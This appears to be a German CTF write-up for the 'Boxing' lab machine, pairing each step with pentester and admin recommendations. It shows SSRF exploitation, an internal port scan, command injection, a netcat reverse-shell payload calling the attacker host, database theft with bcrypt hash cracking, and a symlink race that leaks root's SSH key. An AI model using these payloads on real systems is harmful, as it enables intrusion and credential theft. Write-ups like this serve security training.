**Empfehlung (Admin):** Keine Maßnahmen erforderlich.

SSRF and RCE via Staging

Nutzung der LFI/SSRF auf Staging, um die Produktionsseite abzurufen und Benutzernamen zu extrahieren.

http://staging-env.boxing.hmv/index.php?url=boxing.hmv

http://boxing.hmv/images/
Jone Moe Boxer
Joniya Daro
Lio Uji

**Analyse:** Die LFI-Schwachstelle im `url`-Parameter von `staging-env.boxing.hmv/index.php` wird genutzt, um eine Server-Side Request Forgery (SSRF)-Anfrage an die Produktions-URL `boxing.hmv` zu senden. Der Staging-Server ruft die Hauptseite ab. Aus dem Inhalt (vermutlich aus dem `/images/`-Verzeichnis, wie angegeben) werden drei Namen extrahiert: "Jone Moe Boxer", "Joniya Daro", "Lio Uji". Diese könnten Benutzernamen sein (`moe`, `daro`, `uji`).

**Bewertung:** Kritisch. Die LFI ermöglicht SSRF, was zur Offenlegung potenzieller Benutzernamen führt.

**Empfehlung (Pentester):** Versuche SSH-Logins mit diesen Benutzernamen (`moe`, `daro`, `uji`) und dem Passwort-Hinweis "Cassius!" oder mittels Brute-Force. Nutze SSRF weiter, um interne Dienste zu scannen.
**Empfehlung (Admin):** Behebe die LFI/SSRF-Schwachstelle auf dem Staging-Server. Entferne oder sichere die Staging-Umgebung.

Fehlgeschlagene Hydra SSH-Brute-Force-Versuche für die gefundenen Benutzernamen.

┌──(root㉿cyber)-[~] └─# hydra -l moe -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.114:22 -t 64
┌──(root㉿cyber)-[~] └─# hydra -l uji -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.114:22 -t 64
┌──(root㉿cyber)-[~] └─# hydra -l Joniya -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.114:22 -t 64
┌──(root㉿cyber)-[~] └─# hydra -l daro -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.114:22 -t 64

**Analyse:** Es werden vier Hydra-Befehle ausgeführt (oder zumindest vorbereitet), um SSH-Passwörter für die Benutzer `moe`, `uji`, `Joniya` und `daro` mit der `rockyou.txt`-Wordlist zu knacken. Da keine Erfolgsmeldungen gezeigt werden, ist anzunehmen, dass diese Versuche fehlschlugen oder abgebrochen wurden.

**Bewertung:** Niedrig. Die über SSRF gefundenen Benutzernamen scheinen keine schwachen Passwörter aus `rockyou.txt` für SSH zu verwenden.

**Empfehlung (Pentester):** Versuche den Passwort-Hinweis "Cassius!" oder "Cassius!123" (aus dem späteren Hash-Crack). Konzentriere dich ansonsten wieder auf SSRF/RCE.
**Empfehlung (Admin):** Starke Passwörter und SSH-Härtung sind wichtig.

Nutzung von SSRF zur Kontaktaufnahme mit dem HTTP-Server des Angreifers.

┌──(root㉿cyber)-[~] └─# curl 'http://staging-env.boxing.hmv/index.php?url=boxing.hmv@192.168.2.199'
┌──(root㉿cyber)-[~] └─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.114 - - [28/Apr/2024 23:36:36] "GET / HTTP/1.1" 200 -

**Analyse:** Die SSRF-Schwachstelle im `url`-Parameter wird genutzt, um den Staging-Server eine Anfrage an den Angreifer-Host senden zu lassen. Der Payload `boxing.hmv@192.168.2.199` im `url`-Parameter veranlasst den Server (vermutlich durch einen Fehler im URL-Parser der Anwendung), eine Anfrage an `192.168.2.199` zu senden. Der auf dem Angreifer-Host laufende Python-HTTP-Server empfängt diese Anfrage von der IP des Zielservers (192.168.2.114).

**Bewertung:** Bestätigt, dass SSRF genutzt werden kann, um Verbindungen vom Staging-Server zu externen (oder internen) IPs herzustellen.

**Empfehlung (Pentester):** Nutze dies für interne Portscans (`url=localhost:PORT`) oder zum Zugriff auf interne Dienste.
**Empfehlung (Admin):** Behebe die SSRF-Schwachstelle. Implementiere Egress-Filterung auf dem Staging-Server, um ausgehende Verbindungen zu beschränken.

Interner Portscan auf `localhost` (des Staging-Servers) mittels SSRF und `ffuf`.

┌──(root㉿cyber)-[~] └─# ffuf -u 'http://staging-env.boxing.hmv/index.php?url=boxing.hmv@localhost:FUZZ' -w <(seq 1 65000) -fs 1167

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://staging-env.boxing.hmv/index.php?url=boxing.hmv@localhost:FUZZ
 :: Wordlist         : FUZZ: /dev/stdin
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 1167 (-fs)
________________________________________________

80                      [Status: 200, Size: 25021, Words: 10556, Lines: 702, Duration: 847ms]
5000                    [Status: 200, Size: 2367, Words: 828, Lines: 96, Duration: 3ms]

**Analyse:** `ffuf` wird genutzt, um über die SSRF-Schwachstelle einen Portscan auf `localhost` (aus Sicht des Staging-Servers) durchzuführen. Es iteriert durch die Ports 1 bis 65000 (`-w <(seq 1 65000)`). Antworten mit der Standardgröße 1167 werden ignoriert (`-fs 1167`). Zwei Ports liefern abweichende Antworten: Port 80 (Apache der Hauptseite) und Port 5000.

**Bewertung:** Erfolgreicher interner Portscan via SSRF. Ein bisher unbekannter Dienst auf `localhost:5000` wurde entdeckt.

**Empfehlung (Pentester):** Untersuche den Dienst auf Port 5000 über die SSRF: `curl 'http://staging-env.boxing.hmv/index.php?url=boxing.hmv@localhost:5000'`.
**Empfehlung (Admin):** Behebe die SSRF. Identifiziere und sichere den Dienst auf Port 5000 oder deaktiviere ihn, falls nicht benötigt.

Zugriff auf den internen Dienst auf Port 5000 via SSRF.

┌──(root㉿cyber)-[~] └─# curl 'http://staging-env.boxing.hmv/index.php?url=boxing.hmv@localhost:5000'
<!DOCTYPE html>
<html>
<head>
<!-- Head-Inhalt ausgelassen -->
</head>
<body>
    <form method="post">
        Process name: <input type="text" name="processName" placeholder="Type process">
        <input type="submit">
    </form>
</body>
</html>

**Analyse:** Der `curl`-Befehl nutzt die SSRF, um auf `localhost:5000` zuzugreifen. Die Antwort ist eine einfache HTML-Seite mit einem Formular, das nach einem "Process name" fragt und einen Submit-Button hat. Das Formular sendet die Daten per POST an sich selbst (`/`).

**Bewertung:** Ein interner Webdienst wurde gefunden, der Benutzereingaben entgegennimmt und vermutlich zur Prozessinteraktion dient. Dies ist eine hochgradig verdächtige Funktionalität.

**Empfehlung (Pentester):** Teste dieses Formular auf Command Injection. Sende Prozessnamen (z.B. `id`, `ls`, `ps`) oder versuche, durch spezielle Zeichen (`|`, `;`, `` ` ``) Befehle anzuhängen.
**Empfehlung (Admin):** Untersuche diesen Dienst auf Port 5000 sofort. Solch eine Funktionalität (Ausführen von Prozessen über eine Weboberfläche) ist extrem gefährlich und sollte, wenn überhaupt, nur mit stärkster Authentifizierung und Eingabevalidierung existieren. Deaktiviere ihn, falls möglich.

Erster Command Injection Test auf Port 5000 (mit GET statt POST).

┌──(root㉿cyber)-[~] └─# curl 'http://staging-env.boxing.hmv/index.php?url=boxing.hmv@localhost:5000?processName=id'

    <form method="post">
        Process name: <input type="text" name="processName" placeholder="Type process">
        <input type="submit">
    </form>

<div class='output'><pre>Linux 6.1.0-17-amd64 (boxing) 	28/04/2024 	_x86_64_	(1 CPU)

23:47:53      UID       PID    %usr %system  %guest   %wait    %CPU   CPU  Command
</pre></div></body>
</html>

**Analyse:** Es wird versucht, den `processName`-Parameter über einen GET-Request (als Teil der SSRF-URL) mit dem Wert `id` zu senden. Der Server antwortet jedoch mit einer Ausgabe, die wie eine Prozessliste oder Systemübersicht aussieht (`Linux ... UID PID ...`), aber nicht mit der direkten Ausgabe des `id`-Befehls. Das Formular verwendet POST, daher ist die Übergabe als GET-Parameter möglicherweise nicht die korrekte Methode, oder die Anwendung interpretiert die Eingabe anders als erwartet.

**Bewertung:** Zeigt, dass die Eingabe eine Reaktion auslöst, aber keine direkte Command Injection im einfachen Sinne. Die Anwendung scheint die Eingabe in einen Befehl zur Prozessanzeige (wie `ps`, `top` oder `sar`) einzubetten.

**Empfehlung (Pentester):** Fuzzing des `processName`-Parameters mit speziellen Zeichen, um zu sehen, ob die Syntax des Backend-Befehls gebrochen werden kann. Versuche, den Request als POST zu senden, falls das über SSRF möglich ist (oft schwierig).
**Empfehlung (Admin):** Untersuche und sichere den Backend-Code, der den `processName`-Parameter verarbeitet.

Fuzzing des `processName`-Parameters mit Sonderzeichen.

I got a list of special characters from
https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/special-chars.txt
┌──(root㉿cyber)-[~] └─# ffuf -u 'http://staging-env.boxing.hmv/index.php?url=boxing.hmv@localhost:5000?processName=asdFUZZ-eFUZZid' -w specialchars.txt -fs 2548

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://staging-env.boxing.hmv/index.php?url=boxing.hmv@localhost:5000?processName=asdFUZZ-eFUZZid
 :: Wordlist         : FUZZ: specialchars.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 2548 (-fs)
________________________________________________

+                       [Status: 200, Size: 1167, Words: 395, Lines: 47, Duration: 20ms]
https://www.urlencoder.org/
+ = %2B

**Analyse:** Es wird `ffuf` verwendet, um Sonderzeichen aus einer Liste (`specialchars.txt`) in den `processName`-Parameter einzufügen (`processName=asdFUZZ-eFUZZid`). Antworten mit der Größe 2548 werden herausgefiltert. Das einzige Zeichen, das eine abweichende Antwort (Größe 1167) erzeugt, ist das Pluszeichen (`+`). Es wird korrekt angemerkt, dass `+` in URLs oft als Leerzeichen interpretiert wird, aber auch URL-kodiert als `%2B` gesendet werden kann.

**Bewertung:** Wichtiger Hinweis. Das `+`-Zeichen scheint die Backend-Verarbeitung zu stören oder anders zu beeinflussen als andere Zeichen. Dies ist der Schlüssel zur möglichen Command Injection.

**Empfehlung (Pentester):** Konstruiere einen Payload, der das `+`-Zeichen (URL-kodiert als `%2B`) nutzt, um einen Befehl einzuschleusen. Beispiel: `processName=beliebigerText%2B-e%2Bbefehl`.
**Empfehlung (Admin):** Untersuche, warum das `+`-Zeichen die Verarbeitung beeinflusst, und implementiere eine robuste Sanitisierung/Validierung.

Erfolgreicher Command Injection Test mit URL-kodiertem Pluszeichen.

┌──(root㉿cyber)-[~] └─# curl 'http://staging-env.boxing.hmv/index.php?url=boxing.hmv@localhost:5000?processName=system%2B-e%2Bid'

    <form method="post">
        Process name: <input type="text" name="processName" placeholder="Type process">
        <input type="submit">
    </form>

<div class='output'><pre>Linux 6.1.0-17-amd64 (boxing) 	28/04/2024 	_x86_64_	(1 CPU)
uid=33(www-data) gid=33(www-data) groupes=33(www-data)
</pre></div></body>
</html>

**Analyse:** Der `curl`-Befehl sendet den Payload `processName=system%2B-e%2Bid` via SSRF an den internen Dienst. Der Payload `system+-e+id` wird offenbar vom Backend so interpretiert, dass der `id`-Befehl ausgeführt wird. Die Ausgabe `uid=33(www-data)...` erscheint im HTML der Antwort.

**Bewertung:** Kritisch! Remote Code Execution als `www-data` auf dem Host-System (wo der Port 5000 Dienst läuft) ist bestätigt.

**Empfehlung (Pentester):** Nutze diese RCE, um eine Reverse Shell zu bekommen.
**Empfehlung (Admin):** **Dringend:** Behebe die Command Injection und die SSRF-Schwachstelle.

Aufbau einer Reverse Shell mittels der RCE-Schwachstelle.

┌──(root㉿cyber)-[~] └─# nc -lvnp 4445
listening on [any] 4445 ...
┌──(root㉿cyber)-[~] └─# curl 'http://staging-env.boxing.hmv/index.php?url=boxing.hmv@localhost:5000?processName=system%2B-e%2Bnc%2B-c%2Bbash%2B192.168.2.199%2B6666'
┌──(root㉿cyber)-[~] └─# nc -lvnp 6666
listening on [any] 6666 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.114] 42512
id
uid=33(www-data) gid=33(www-data) groupes=33(www-data)

**Analyse:** 1. Ein Netcat-Listener wird gestartet (erst auf 4445, dann korrekt auf 6666). 2. Der `curl`-Befehl sendet einen RCE-Payload via SSRF. Der Payload `system+-e+nc+-c+bash+192.168.2.199+6666` (URL-dekodiert) ist syntaktisch ungewöhnlich, aber führt offenbar dazu, dass eine Bash-Reverse-Shell zum Angreifer auf Port 6666 gestartet wird. 3. Der Netcat-Listener auf Port 6666 empfängt die Verbindung. Ein Test mit `id` bestätigt die Shell als `www-data`.

**Bewertung:** Kritisch. Erfolgreiche Erlangung einer Shell als `www-data` durch Ausnutzung der RCE über SSRF.

**Empfehlung (Pentester):** Beginne mit der Privilegienerweiterungs-Phase. Stabilisiere die Shell bei Bedarf.
**Empfehlung (Admin):** Behebe LFI, SSRF und RCE. Überprüfe die Sicherheit des internen Dienstes auf Port 5000.

Privilege Escalation

Untersuchung des Verzeichnisses `/opt/sos` und der darin enthaltenen Skripte.

www-data@boxing:/opt$ cd sos/
www-data@boxing:/opt/sos$ ls -la
total 20
drwxr-xr-x 3 root root 4096  4 févr. 03:15 .
drwxr-xr-x 4 root root 4096  4 févr. 03:15 ..
-rwxr-xr-x 1 root root  298  4 févr. 03:15 incrontab.sh
drwxr-xr-x 2 root root 4096  4 févr. 17:20 logs
-rwxr-xr-x 1 root root  323  4 févr. 03:15 sos.sh
www-data@boxing:/opt/sos$ cat sos.sh
#!/bin/bash

logs="/opt/sos/logs/output-logs.txt"
rm $logs
exec &>$logs

cd /home/cassius
file *
ss -altupn
last -a
w
ps aux
top -n 1
lsof

for user in $(cut -f1 -d: /etc/passwd); do
echo "Cron jobs for $user:"
crontab -u $user -l
done

tail /var/log/syslog
sha256sum /bin/* /sbin/* /usr/bin/* /usr/sbin/*

chmod 700 $logs
www-data@boxing:/opt/sos$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root	cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6	* * 7	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6	1 * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
www-data@boxing:/opt/sos$ ll
bash: ll : commande introuvable
www-data@boxing:/opt/sos$ ls -la
total 20
drwxr-xr-x 3 root root 4096  4 févr. 03:15 .
drwxr-xr-x 4 root root 4096  4 févr. 03:15 ..
-rwxr-xr-x 1 root root  298  4 févr. 03:15 incrontab.sh
drwxr-xr-x 2 root root 4096  4 févr. 17:20 logs
-rwxr-xr-x 1 root root  323  4 févr. 03:15 sos.sh
www-data@boxing:/opt/sos$ cat incrontab.sh
#!/bin/bash

echo '/etc/apache2/sites-available/000-default.conf IN_MODIFY systemctl restart apache2' | incrontab -
echo '/etc IN_DELETE,IN_MODIFY,IN_MOVED_FROM /bin/echo "File: $@/$# => $%" > /root/user_flag.log' | incrontab -
echo '/home/cassius/user.txt IN_ATTRIB /opt/sos/sos.sh' | incrontab -

**Analyse:**

**Bewertung:** Kritisch. Eine klare Privilege Escalation-Möglichkeit über `incron`. Eine Änderung der Attribute von `/home/cassius/user.txt` (was `www-data` möglicherweise nicht kann, aber der Benutzer `cassius` definitiv) löst die Ausführung von `/opt/sos/sos.sh` als `root` aus. Das Skript selbst ist nicht beschreibbar, aber sein Verhalten (insbesondere das `cd /home/cassius` und das Schreiben in eine Logdatei) kann potenziell ausgenutzt werden.

**Empfehlung (Pentester):** 1. Erhalte Zugriff als Benutzer `cassius` (dessen Hash bereits gefunden wurde). 2. Als `cassius`, erstelle einen symbolischen Link im Home-Verzeichnis, der auf eine wichtige Datei von Root zeigt (z.B. `ln -s /root/.ssh/id_rsa rootkey`). 3. Als `cassius`, trigger den `incron`-Job, indem du die Attribute von `user.txt` änderst (z.B. `chmod 777 user.txt`). 4. `/opt/sos/sos.sh` wird als Root ausgeführt. Es wechselt nach `/home/cassius` und führt `file *` aus. Dies liest den Anfang der Datei, auf die der Symlink zeigt (`/root/.ssh/id_rsa`). 5. Die Ausgabe von `file *` (und aller anderen Befehle im Skript) wird in `/opt/sos/logs/output-logs.txt` geschrieben. 6. Implementiere einen Mechanismus (z.B. eine `while true`-Schleife), um `/opt/sos/logs/output-logs.txt` sofort nach seiner Erstellung zu kopieren, *bevor* `sos.sh` am Ende `chmod 700` darauf ausführt und `cassius` den Lesezugriff verliert. 7. Extrahiere den privaten SSH-Schlüssel von Root aus der kopierten Logdatei. 8. Nutze den Schlüssel für den SSH-Login als Root.
**Empfehlung (Admin):** **Dringend:** Entferne die gefährliche `incron`-Regel. Überprüfe alle `incron`-Konfigurationen. `sos.sh` sollte nicht als Root laufen oder zumindest keine Befehle in potenziell vom Benutzer kontrollierbaren Verzeichnissen ausführen oder unsichere Operationen durchführen. Beschränke Berechtigungen.

Weitere Enumeration als `www-data`: Suche nach SUID/GUID, sudo, Capabilities, Kernel-Version.

www-data@boxing:/opt/sos$ find / -type f -perm -4000 -ls 2>/dev/null
  1707982     72 -rwsr-xr-x   1 root     root        72000 mars 23  2023 /usr/bin/su
  1704050     52 -rwsr-xr-x   1 root     root        52880 mars 23  2023 /usr/bin/chsh
  1707314     48 -rwsr-xr-x   1 root     root        48896 mars 23  2023 /usr/bin/newgrp
  1707468     60 -rwsr-xr-x   1 root     root        59704 mars 23  2023 /usr/bin/mount
  1704053     68 -rwsr-xr-x   1 root     root        68248 mars 23  2023 /usr/bin/passwd
  1704049     64 -rwsr-xr-x   1 root     root        62672 mars 23  2023 /usr/bin/chfn
  1707470     36 -rwsr-xr-x   1 root     root        35128 mars 23  2023 /usr/bin/umount
  1704052     88 -rwsr-xr-x   1 root     root        88496 mars 23  2023 /usr/bin/gpasswd
  1724448     52 -rwsr-xr--   1 root     messagebus    51272 sept. 16  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  1726663    640 -rwsr-xr-x   1 root     root         653888 déc. 19 15:51 /usr/lib/openssh/ssh-keysign
www-data@boxing:/opt/sos$ sudo -l
bash: sudo : commande introuvable
www-data@boxing:/opt/sos$ getcap -r / 2>/dev/null
/usr/bin/ping cap_net_raw=ep
www-data@boxing:/opt/sos$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1230  4 févr. 16:50 /etc/passwd
www-data@boxing:/opt/sos$ uname -a
Linux boxing 6.1.0-17-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.69-1 (2023-12-30) x86_64 GNU/Linux

**Analyse:** Die Enumerationsbefehle werden erneut ausgeführt:

**Bewertung:** Bestätigt, dass Standard-PrivEsc-Vektoren wie SUID-Binaries oder `sudo` hier nicht greifen. Die Kernel-Version ist relevant für Kernel-Exploits, aber der `incron`-Pfad ist vielversprechender.

**Empfehlung (Pentester):** Fokussiere dich auf den `incron`-Exploit und erlange zuerst Zugriff als `cassius`.
**Empfehlung (Admin):** Keine zusätzlichen Maßnahmen basierend auf diesen Ergebnissen.

Herunterladen der SQLite-Datenbank (vermutlich über LFI auf Staging) und Extrahieren des Hashes.

┌──(root㉿cyber)-[~] └─# curl http://staging-env.boxing.hmv/boxing_database.db --output database.db
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 24576  100 24576    0     0  15.8M      0 --:--:-- --:--:-- --:--:-- 23.4M
┌──(root㉿cyber)-[~] └─# strings database.db
SQLite format 3
tablenewsnews
CREATE TABLE news (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    title TEXT NOT NULL,
    content TEXT,
    publish_date DATE
Etablematchesmatches
CREATE TABLE matches (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    fighter1_id INTEGER,
    fighter2_id INTEGER,
    match_date DATE,
    location TEXT,
    result TEXT,
    FOREIGN KEY (fighter1_id) REFERENCES fighters (id),
    FOREIGN KEY (fighter2_id) REFERENCES fighters (id)
tablefightersfighters
CREATE TABLE fighters (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    name TEXT NOT NULL,
    weight_class TEXT,
    ranking INTEGER
Ytablesqlite_sequencesqlite_sequence
CREATE TABLE sqlite_sequence(name,seq)
tableusersusers
CREATE TABLE users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT NOT NULL,
    password_hash TEXT NOT NULL
cassius$2b$05$gPKe1EUBPZidX/j3qTDapeznU4CMfkpMd0sQhgehhhoG/pwc4OnVu
	users
┌──(root㉿cyber)-[~] └─# echo "cassius$2b$05$gPKe1EUBPZidX/j3qTDapeznU4CMfkpMd0sQhgehhhoG/pwc4OnVu" > hash

**Analyse:** 1. Die Datei `boxing_database.db` wird erfolgreich heruntergeladen, wahrscheinlich durch Ausnutzung der LFI im `url`-Parameter der Staging-Umgebung (`curl http://staging-env.boxing.hmv/index.php?url=boxing_database.db`). 2. Der Befehl `strings` wird auf die heruntergeladene SQLite-Datenbank angewendet. 3. Die Ausgabe von `strings` zeigt SQL-Schema-Definitionen und lesbare Zeichenketten aus der Datenbank. Darunter befindet sich der Eintrag `cassius$2b$05$gPKe1EUBPZidX/j3qTDapeznU4CMfkpMd0sQhgehhhoG/pwc4OnVu`, der stark nach einem Benutzernamen (`cassius`) und einem zugehörigen Passwort-Hash (bcrypt, erkennbar am `$2b$05$`) aussieht. 4. Der Hash wird in eine Datei namens `hash` gespeichert.

**Bewertung:** Kritisch. Erfolgreiche Exfiltration der Anwendungsdatenbank und Extraktion eines Passwort-Hashes für den Benutzer `cassius`.

**Empfehlung (Pentester):** Versuche, den bcrypt-Hash offline mit John the Ripper oder Hashcat und einer geeigneten Wordlist (ggf. unter Berücksichtigung des Passwort-Hinweises "Cassius!") zu knacken.
**Empfehlung (Admin):** Behebe die LFI-Schwachstelle auf dem Staging-Server. Speichere Datenbankdateien niemals im Webroot oder einem öffentlich zugänglichen Verzeichnis. Verwende starke Passwort-Hashing-Algorithmen (bcrypt ist gut, aber der Hash sollte nicht exponiert werden).

Hinweise und Vorbereitung zum Knacken des Hashes.

---
geht nicht 

https://www.ddosi.org/pass8/ 
Cassius!



--------------------

Cassius!
cassius!
CASSIUS!
cASSIUS!
CasS
!suissaC
Cassius!Cassius!
... 
...
Cassius!29!
Cassius!30!
Cassius!31!
┌──(root㉿cyber)-[~] └─# vi hhh
$2b$05$gPKe1EUBPZidX/j3qTDapeznU4CMfkpMd0sQhgehhhoG/pwc4OnVu

**Analyse:** Dieser Abschnitt enthält Notizen und Vorbereitungsschritte zum Knacken des Hashes:

**Bewertung:** Zeigt den Denkprozess und die Vorbereitung für den gezielten Hash-Cracking-Versuch basierend auf dem Hinweis.

**Empfehlung (Pentester):** Führe John/Hashcat mit der Datei `hhh` und der generierten Wordlist (`pass.txt`) aus.
**Empfehlung (Admin):** Verwende Passwörter, die nicht leicht aus Hinweisen oder durch einfache Mutationen erraten werden können.

Knacken des bcrypt-Hashes mit John the Ripper.

┌──(root㉿cyber)-[~] └─# john --wordlist=pass.txt hhh
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Cassius!123      (?)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1g 0:00:00:00 DONE (2024-04-29 00:33) 50.00g/s 6800p/s 6800c/s 6800C/s Cassius!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

**Analyse:** John the Ripper (`john`) wird mit der Wordlist `pass.txt` (die vermutlich Variationen von "Cassius!" enthält) auf die Datei `hhh` (die den bcrypt-Hash enthält) angesetzt. John identifiziert den Hash-Typ korrekt als bcrypt und knackt ihn erfolgreich. Das gefundene Passwort ist `Cassius!123`.

**Bewertung:** Kritisch! Das Passwort für den Benutzer `cassius` wurde erfolgreich geknackt.

**Empfehlung (Pentester):** Verwende die Zugangsdaten `cassius` / `Cassius!123`, um dich per SSH anzumelden oder `su` zu verwenden.
**Empfehlung (Admin):** Das Passwort "Cassius!123" ist zu schwach und basiert auf einem Hinweis. Erzwinge komplexe, nicht erratbare Passwörter.

Initial Access

Wechsel zum Benutzer `cassius` mit dem geknackten Passwort und Auslesen der User-Flag.

www-data@boxing:~/html$ ls /home/
cassius
www-data@boxing:~/html$ su cassius
Mot de passe : 
cassius@boxing:/var/www/html$
cassius@boxing:/var/www/html$ cd ~
cassius@boxing:~$ ls
user.txt
cassius@boxing:~$ cat user.txt
a2b3946358a96bb7a92f61a759a1d972

**Analyse:** 1. Der Benutzer `cassius` wird im `/home`-Verzeichnis bestätigt. 2. Mit `su cassius` und dem Passwort `Cassius!123` wird erfolgreich zum Benutzer `cassius` gewechselt. 3. Im Home-Verzeichnis von `cassius` wird die Datei `user.txt` gefunden. 4. Der Inhalt von `user.txt` (die User-Flag) wird ausgelesen: `a2b3946358a96bb7a92f61a759a1d972`.

**Bewertung:** Erfolgreicher initialer Zugriff als Benutzer `cassius` und Erlangung der User-Flag.

**Empfehlung (Pentester):** Beginne mit der Privilege Escalation als Benutzer `cassius`. Untersuche die `incron`-Konfiguration und das `/opt/sos`-Verzeichnis.
**Empfehlung (Admin):** Sichere das `cassius`-Konto (Passwort ändern). Untersuche und behebe den PrivEsc-Vektor.

Proof of Concept (PrivEsc via Incron Misconfiguration)

Dieser Abschnitt demonstriert die Ausnutzung der Incron-Fehlkonfiguration zur Eskalation von Benutzer `cassius` zu `root`.

**Schwachstelle:** Eine `incron`-Regel (eingerichtet durch `/opt/sos/incrontab.sh`, vermutlich als root) überwacht die Datei `/home/cassius/user.txt`. Bei einer Attributänderung (`IN_ATTRIB`) wird das Skript `/opt/sos/sos.sh` als `root` ausgeführt. Dieses Skript wechselt nach `/home/cassius` und führt dort u.a. den Befehl `file *` aus, wobei die Ausgabe in `/opt/sos/logs/output-logs.txt` umgeleitet wird. Am Ende setzt das Skript die Berechtigungen der Logdatei auf `700`.

**Voraussetzungen:**

**Schritt-für-Schritt Anleitung:**

  1. Als `cassius`, erstelle einen symbolischen Link im Home-Verzeichnis, der auf den privaten SSH-Schlüssel von Root zeigt: `ln -sf /root/.ssh/id_rsa /home/cassius/rootrsa`.
  2. Starte eine Endlosschleife in einem separaten Terminal oder im Hintergrund, die kontinuierlich versucht, die Logdatei `/opt/sos/logs/output-logs.txt` nach `/home/cassius/` zu kopieren: `while true; do cp /opt/sos/logs/output-logs.txt /home/cassius/output.log 2>/dev/null; done &`
  3. Trigger den `incron`-Job, indem du die Attribute von `user.txt` änderst: `chmod 700 /home/cassius/user.txt`.
  4. Warte kurz, bis `sos.sh` (als root) gelaufen ist. Das Skript führt `cd /home/cassius` und `file *` aus. `file rootrsa` liest `/root/.ssh/id_rsa`. Die Ausgabe (inklusive des Schlüssel-Inhalts, der von `file` gelesen wird) wird in `/opt/sos/logs/output-logs.txt` geschrieben.
  5. Die im Hintergrund laufende Schleife sollte die Logdatei nach `/home/cassius/output.log` kopiert haben, bevor `sos.sh` `chmod 700` darauf anwendet.
  6. Beende die Kopier-Schleife (z.B. mit `fg` und Strg+C).
  7. Extrahiere den privaten SSH-Schlüssel aus der kopierten Datei `/home/cassius/output.log`.
  8. Speichere den Schlüssel in einer Datei (z.B. `rootkey`), setze die Berechtigungen (`chmod 600 rootkey`).
  9. Melde dich als `root` per SSH an: `ssh root@localhost -i rootkey`.

Vorbereiten des Exploits als `cassius`: Erstellen der Datei `-f` (möglicherweise als Störfaktor für `file *`?) und des Symlinks.

cassius@boxing:~$ touch -- -f
cassius@boxing:~$ ls
-f  user.txt
cassius@boxing:~$ ln -sf /root/.ssh/id_rsa rootrsa
cassius@boxing:~$ ls -la
total 32
drwx------ 4 cassius cassius 4096 29 avril 00:42 .
drwxr-xr-x 3 root    root    4096  4 févr. 03:15 ..
lrwxrwxrwx 1 root    root       9  4 févr. 17:11 .bash_history -> /dev/null
-rw-r--r-- 1 cassius cassius  220  4 févr. 03:15 .bash_logout
-rw-r--r-- 1 cassius cassius 3526  4 févr. 03:15 .bashrc
-rw-r--r-- 1 cassius cassius    0 29 avril 00:41 -f
drwxr-xr-x 3 cassius cassius 4096  4 févr. 17:14 .local
-rw-r--r-- 1 cassius cassius  807  4 févr. 03:15 .profile
lrwxrwxrwx 1 cassius cassius   17 29 avril 00:42 rootrsa -> /root/.ssh/id_rsa
drwx------ 2 cassius cassius 4096  4 févr. 17:16 .ssh
-rwx------ 1 cassius cassius   33  4 févr. 03:15 user.txt

